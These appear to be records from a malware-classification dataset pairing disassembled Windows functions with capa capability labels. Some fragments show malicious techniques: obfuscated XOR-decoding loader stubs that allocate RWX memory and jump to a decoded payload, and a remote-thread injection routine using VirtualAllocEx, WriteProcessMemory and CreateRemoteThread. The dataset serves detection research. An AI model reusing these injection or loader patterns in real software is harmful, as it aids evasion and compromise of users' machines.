joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10053d30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp dword [ebp + 0xc], 1
jne 0x10053d63
push 0
push 0
push dword [ebp + 8]
push 0x10053cc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10053d63
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x4203c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4203d6
pop dword [ebp - 0x2c]
mov eax, 0x1a179330
sub eax, 0x19d58f5a
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x8e798203
sub dword [ebp - 0x3c], 0x40273cb8
mov dword [ebp - 0x38], 0xdcc3eb36
add dword [ebp - 0x38], 0x556f610f
mov dword [ebp - 0x34], 0x978cb3f4
add dword [ebp - 0x34], 0xb4bf903a
mov dword [ebp - 0x30], 0xdc3f7f2b
sub dword [ebp - 0x30], 0xdc3f7f2b
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x129a3b4d
add eax, 0xeda7f527
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x4a518d0
sub dword [ebp - 0x3c], 0x9032af7a
mov dword [ebp - 0x38], 0xed736bd
add dword [ebp - 0x38], 0x32952ab8
mov dword [ebp - 0x34], 0x1bbdbf88
add dword [ebp - 0x34], 0x47b1ace4
mov dword [ebp - 0x30], 0xf8b099d2
sub dword [ebp - 0x30], 0xf8b099d2
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x69853fd9
sub eax, 0x69430eb5
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x444d2
push 0
call eax
mov ecx, 0x2eed3660
add ecx, 0xd1132b0b
mov edx, eax
mov ebx, 0x434400
add ebx, dword [ebp - 0x2c]
mov edi, 0x5bc185cc
mov dword [ebp - 0x10], 0x595f2e4e
mov esi, dword [ebx]
xor dword [ebp - 0x18], 0x8e220c83
xor esi, edi
sub dword [ebp - 0xc], 0x60476c98
mov dword [edx], esi
mov dword [ebp - 0x18], 0xdbfd5b0c
add edx, 0xa3ae8ee7
add edx, 0x5c51711d
add ebx, 4
loop 0x4204ec
add eax, 0xbe75e7b4
add eax, 0x418b90cb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x309749e1
sub ecx, 0x305749e1
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x52dd30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa2000]
push edi
or ebp, 0xffffffff
jmp 0x52dd52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x52dd59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52dd48
mov eax, 1
add ebx, ebx
jne 0x52dd6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x52dd7c
jne 0x52dd9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52dd9b
dec eax
add ebx, ebx
jne 0x52dd88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x52dd60
add ebx, ebx
jne 0x52dd97
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x52dded
xor ecx, ecx
sub eax, 3
jb 0x52ddb3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52de22
sar eax, 1
mov ebp, eax
jmp 0x52ddbe
add ebx, ebx
jne 0x52ddbe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52dd8c
inc ecx
add ebx, ebx
jne 0x52ddcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52dd8c
add ebx, ebx
jne 0x52ddd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x52ddce
jne 0x52ddea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x52ddce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x52de0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x52ddfe
jmp 0x52dd4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x52de0c
add edi, ecx
jmp 0x52dd4e
pop esi
mov edi, esi
mov ecx, 0x4061
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x52de2a
cmp byte [edi], 0x19
jne 0x52de2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x52de2f
lea edi, [esi + 0x12a000]
mov eax, dword [edi]
or eax, eax
je 0x52dea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13787c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1379e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x52de5c
mov ecx, edi
jns 0x52de8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1379e8]
or eax, eax
je 0x52dea1
mov dword [ebx], eax
add ebx, 4
jmp 0x52de79
call dword [esi + 0x1379f8]
mov ebp, dword [esi + 0x1379ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x52dedb
sub esp, 0xffffff80
jmp 0x48d3d9
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x26d0c298
mov ebx, 0x3a3a9b64
xor ebx, edi
mov edi, 0x17c29670
xor ebx, edi
xor ebx, 0x15eb5085
mov edx, 0x46c25856
xor edx, 0x7cae2a1
push edx
mov edx, 0x14d86c8a
mov eax, 0x4b1343f6
xor eax, edx
pop ecx
xor eax, ecx
xor eax, ebx
mov ebx, 0x34ec0cfc
mov ecx, 0xcb13f300
xor ebx, ecx
add esp, ebx
push esp
pop ebx
mov esi, ebx
mov dword [esi], eax
push edi
pop ebx
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], ebx
pop edi
jmp 0x403f17

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x401b00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402880
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402880
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4ae06c]
test esi, esi
jle 0x401c80
mov eax, dword [0x4ae070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b94
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401c17
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b80
mov dword [esp], ebx
call fcn.00402560
mov edi, eax
test eax, eax
je 0x401ca7
mov eax, dword [0x4ae070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004026a0
mov edx, dword [0x4ae070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c87
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401c10
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401c20
add dword [0x4ae06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4ae070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401c10
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401b00
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x401b9e
mov eax, dword [0x4ae070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401b00
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401b00
lea esi, cs:[esi]
nop
Function at 0x4021d0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4ae088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4ae080]
sub esp, 4
test ebx, ebx
je 0x402225
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40221e
test eax, eax
jne 0x40221e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402200
mov dword [esp], 0x4ae088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402560
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402585
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402590
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402585
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4025d8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4025ce
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4025da
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4025c0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401ae0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x40
push 0x1000
push 0x111
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x402f60], eax
cmp dword [0x402f60], 0
jne 0x401b18
xor eax, eax
jmp 0x401c82
mov edx, dword [0x402f60]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x118]
push ecx
push 0
call fcn.00401470
add esp, 0x10
test eax, eax
jne 0x401b5c
push 0x4000
push 0x111
mov edx, dword [0x402f60]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x401c82
push 0x40289c
push 0x111
lea edx, [ebp - 0x118]
push edx
mov eax, dword [0x402f60]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401ba6
push 0x4000
push 0x111
mov eax, dword [0x402f60]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x401c82
mov eax, dword [0x402f60]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x11c]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jne 0x401c00
push 0x4000
push 0x111
mov edx, dword [0x402f60]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x401c82
push 0xffffffffffffffff
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x402f58
mov eax, dword [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x401c46
push 0x4000
push 0x111
mov ecx, dword [0x402f60]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x401c82
push 0x4000
push 0x111
mov ecx, dword [0x402f60]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x402f58], 0
je 0x401c80
mov eax, 1
jmp 0x401c82
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40673a
pop dword [ebp - 0x20]
mov eax, 0x40673a
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x51e29211
sub dword [ebp - 0x30], 0x3904cc6
mov dword [ebp - 0x2c], 0xf39b77a8
sub dword [ebp - 0x2c], 0xc1682b63
mov dword [ebp - 0x28], 0x86e9af5c
add dword [ebp - 0x28], 0xc56294d2
mov dword [ebp - 0x24], 0x16ace23c
sub dword [ebp - 0x24], 0x16ace23c
lea eax, [ebp - 0x30]
push eax
mov eax, 0x637ceb05
sub eax, 0x633c6a01
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xeaf0b5b6
sub dword [ebp - 0x30], 0x767e4c60
mov dword [ebp - 0x2c], 0xbe698b10
sub dword [ebp - 0x2c], 0x7cfd299b
mov dword [ebp - 0x28], 0x98cf78f5
add dword [ebp - 0x28], 0xca9ff377
mov dword [ebp - 0x24], 0xb6e0c87
sub dword [ebp - 0x24], 0xb6e0c87
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xe3e72723
add eax, 0x1c5959dd
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x37ddd
push 0
call eax
mov ecx, 0xff8db869
sub ecx, 0xff8d6f02
xor edi, edi
add edi, eax
mov edx, 0x6f84facd
sub edx, 0x6f3e16cd
add edx, dword [ebp - 0x20]
mov esi, 0xc8059ef0
add esi, 0x84d5804d
add dword [ebp - 0x14], esi
mov ebx, dword [edx]
add dword [ebp - 0x14], 0xfe53a418
sub ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x1c], 0xb1b8761
add edi, 0x276283ba
sub edi, 0x276283b6
add edx, 0x46572b0e
add edx, 0xb9a8d4f6
loop 0x406859
add eax, 0x5e0901b8
sub eax, 0x5e07e949
xor ebx, ebx
add ebx, eax
add eax, 0xc6f2a9ca
add eax, 0x390d563b
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4031a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4031b0
pop dword [ebp - 0x14]
mov eax, 0xd010d921
add eax, 0x302f588f
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x3306b8bf
sub dword [ebp - 0x24], 0xe4b47374
mov dword [ebp - 0x20], 0x9e1d6150
sub dword [ebp - 0x20], 0x6bea150b
mov dword [ebp - 0x1c], 0x8ffa4158
sub dword [ebp - 0x1c], 0x43adfd2a
mov dword [ebp - 0x18], 0x85e64110
add dword [ebp - 0x18], 0x7a19bef0
lea eax, [ebp - 0x24]
push eax
mov eax, 0x2a71c766
add eax, 0xd5ce7906
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x6f9a9651
sub dword [ebp - 0x24], 0xfb282cfb
mov dword [ebp - 0x20], 0xb0209d93
add dword [ebp - 0x20], 0x914bc3e2
mov dword [ebp - 0x1c], 0x329ff266
sub dword [ebp - 0x1c], 0xcf3085fa
mov dword [ebp - 0x18], 0x64567de
add dword [ebp - 0x18], 0xf9ba9822
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3874c
push 0
call eax
mov ecx, 0x85a4e16
add ecx, 0xf7a6013e
mov esi, eax
mov edi, 0x3a3b688d
sub edi, 0x39fa608d
add edi, dword [ebp - 0x14]
mov ebx, 0x1b28a6
add ebx, 0x1f2e8432
add dword [ebp - 4], ecx
mov edx, dword [edi]
xor dword [ebp - 0x10], ebx
add edx, ebx
sub dword [ebp - 4], 0x9bc219b
mov dword [esi], edx
xor dword [ebp - 0x10], eax
add esi, 4
add edi, 0x6a22fa0
sub edi, 0x6a22f9c
loop 0x4032cd
add eax, 0x1419ec5b
sub eax, 0x1418bc38
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2e50e94
add ecx, 0xfd5af16c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x41daac
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x41db05
test eax, edx
je 0x41db08
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x41dac3
movzx eax, word [eax]
sub eax, ecx
jmp 0x41daea
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x41daeb
add ecx, 4
js 0x41dadb
pop eax
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x41dae8
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x41daea
xor eax, eax
ret
test eax, eax
je 0x41db14
test edx, edx
jne 0x41dab4
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x4c24e9
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4c24ef
ret
Function at 0x10003f90
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x1004207b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100532d0]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1003f32c
push 4
mov dword [esp + 0x24], 0
call fcn.1001e2d3
mov edi, eax
add esp, 4
test edi, edi
je 0x10004012
call fcn.1003f19d
mov dword [edi], eax
call fcn.1003efcb
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.1003f2ed
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10004007
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.1003f315
jmp 0x10004014
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x100089a0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x804
mov eax, dword [0x100532d0]
xor eax, esp
mov dword [esp + 0x800], eax
push 0x7ff
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.10029f00
mov edx, dword [esp + 0x814]
lea ecx, [esp + 0x818]
push ecx
push edx
lea eax, [esp + 0x14]
push eax
call fcn.10029497
add esp, 0x18
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.10028736
add esp, 0x804
ret

Function at 0x10008a10
Capabilities:
Read file via mapping

Disassembly:
cmp dword [0x100581cc], 0
jne 0x10008a55
push str.HFInternal_Data_Tran
push 0x400
push 0
push 0x8000004
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [0x100581c8], eax
test eax, eax
je 0x10008a5b
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x100581cc], eax
test eax, eax
je 0x10008a76
mov eax, 1
ret
mov ecx, dword [0x100581cc]
test ecx, ecx
je 0x10008a7b
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [0x100581cc], 0
mov eax, dword [0x100581c8]
test eax, eax
je 0x10008a90
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x100581c8], 0
xor eax, eax
ret

Function at 0x10008aa0
Capabilities:
Read file via mapping

Disassembly:
cmp dword [0x100581cc], 0
jne 0x10008ad9
push str.HFInternal_Data_Tran
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [0x100581c8], eax
test eax, eax
je 0x10008adf
push 0
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x100581cc], eax
test eax, eax
je 0x10008afa
mov eax, 1
ret
mov ecx, dword [0x100581cc]
test ecx, ecx
je 0x10008aff
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [0x100581cc], 0
mov eax, dword [0x100581c8]
test eax, eax
je 0x10008b14
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x100581c8], 0
xor eax, eax
ret
Function at 0x10008fd0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10043157
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100532d0]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov esi, dword [esp + 0x44]
push 1
mov ecx, esi
call fcn.10012370
xor ebx, ebx
mov dword [esp + 0x3c], ebx
mov dword [esi + 0xc], vtable.talk_base::MessageHandler.0
lea edi, [esi + 0x10]
mov ecx, edi
mov byte [esp + 0x3c], 1
call fcn.10006b60
mov byte [esp + 0x3c], 2
lea ecx, [esi + 0x40]
mov dword [esi], vtable.CVSClient.0
mov dword [esi + 0xc], vtable.CVSClient.1.0
mov dword [edi], vtable.CVSClient.2.0
call fcn.10015500
lea eax, [esi + 0x64]
push eax
mov byte [esp + 0x40], 3
call fcn.1000c9b0
lea eax, [esi + 0x84]
push eax
mov byte [esp + 0x40], 4
call fcn.1000ce60
lea eax, [esi + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edi, [esi + 0xc4]
push edi
mov byte [esp + 0x40], 6
call fcn.1000ce60
lea ecx, [esi + 0xe4]
mov byte [esp + 0x3c], 7
call fcn.10008e40
lea ecx, [esi + 0x13c]
mov byte [esp + 0x3c], 8
call fcn.10017e40
mov byte [esp + 0x3c], 9
push 9
mov ebp, 0xf
push str.127.0.0.1
lea ecx, [esp + 0x20]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.10003020
push 1
push 0x17e0
lea eax, [esp + 0x20]
push eax
lea ecx, [esi + 0x1fc]
mov byte [esp + 0x48], 0xa
call fcn.10015d20
mov byte [esp + 0x3c], 0xc
cmp dword [esp + 0x30], 0x10
jb 0x100090f8
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.1001e30d
add esp, 4
push esi
lea edx, [esi + 0x224]
push edx
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.10010110
lea eax, [esi + 0x270]
push eax
mov byte [esp + 0x40], 0xd
call fcn.1000cf90
mov byte [esp + 0x3c], 0xe
push 9
push str.localhost
lea ecx, [esp + 0x20]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.10003020
push 1
push 0x9ce
lea eax, [esp + 0x20]
push eax
lea ecx, [esi + 0x290]
mov byte [esp + 0x48], 0xf
call fcn.10015d20
mov byte [esp + 0x3c], 0x11
cmp dword [esp + 0x30], 0x10
jb 0x10009178
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.1001e30d
add esp, 4
mov dword [esi + 0x220], ebx
mov edx, dword [edi + 0x18]
mov eax, dword [edx + 4]
push eax
mov ecx, edi
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.1000cee0
mov eax, dword [edi + 0x18]
mov dword [eax + 4], eax
mov eax, dword [edi + 0x18]
mov dword [edi + 0x1c], ebx
mov dword [eax], eax
mov edi, dword [edi + 0x18]
mov eax, esi
mov dword [edi + 8], edi
call fcn.10009620
mov eax, esi
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 4